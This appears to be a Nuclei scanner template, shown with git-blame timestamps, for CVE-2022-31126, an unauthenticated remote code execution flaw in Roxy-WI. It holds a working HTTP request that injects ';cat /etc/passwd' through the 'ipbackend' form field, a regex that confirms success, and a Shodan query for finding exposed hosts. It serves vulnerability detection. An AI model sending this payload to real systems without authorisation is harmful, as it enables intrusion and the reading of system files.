2022-08-12 16:51:23 +00:00
id : CVE-2022-31126
info :
2022-10-10 19:22:59 +00:00
name : Roxy-WI <6.1.1.0 - Remote Code Execution
2022-08-12 16:51:23 +00:00
author : DhiyaneshDK
severity : critical
description : |
2022-10-10 19:22:59 +00:00
Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.
2023-09-06 11:59:08 +00:00
remediation : Users are advised to upgrade to latest version.
2022-08-12 16:51:23 +00:00
reference :
- http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html
- https://www.cve.org/CVERecord?id=CVE-2022-31137
2022-08-13 00:24:44 +00:00
- https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
2022-10-10 19:22:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-31137
- https://nvd.nist.gov/vuln/detail/CVE-2022-31126
2022-08-13 00:24:44 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-31126
cwe-id : CWE-74
2023-08-31 11:46:18 +00:00
epss-score : 0.82236
2023-11-05 22:23:39 +00:00
epss-percentile : 0.98043
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
2022-08-12 16:51:23 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : roxy-wi
product : roxy-wi
2023-09-06 11:59:08 +00:00
shodan-query : http.html:"Roxy-WI"
2022-08-27 04:41:18 +00:00
tags : cve,cve2022,rce,unauth,roxy,packetstorm
2022-08-12 16:51:23 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-12 16:51:23 +00:00
- raw :
- |
POST /app/options.py HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With : XMLHttpRequest
Origin : {{BaseURL}}
Referer : {{BaseURL}}/app/login.py
2022-08-13 00:12:49 +00:00
alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1
2022-08-12 16:51:23 +00:00
matchers-condition : and
matchers :
2022-08-13 00:12:49 +00:00
- type : regex
2022-08-12 16:51:23 +00:00
part : body
2022-08-13 00:12:49 +00:00
regex :
- "root:.*:0:0:"
2022-08-12 16:51:23 +00:00
- type : status
status :
- 200
2023-11-05 22:23:39 +00:00
# digest: 490a004630440220079980d34460844e20549b992474a8667c88117585b5d606a0dead86041c77650220305aca704ad9bfdaff82ab4f3a974f64088285dfb3ea27a14c4e01ae1c01ad94:922c64590222798bb761d5b6d8e72950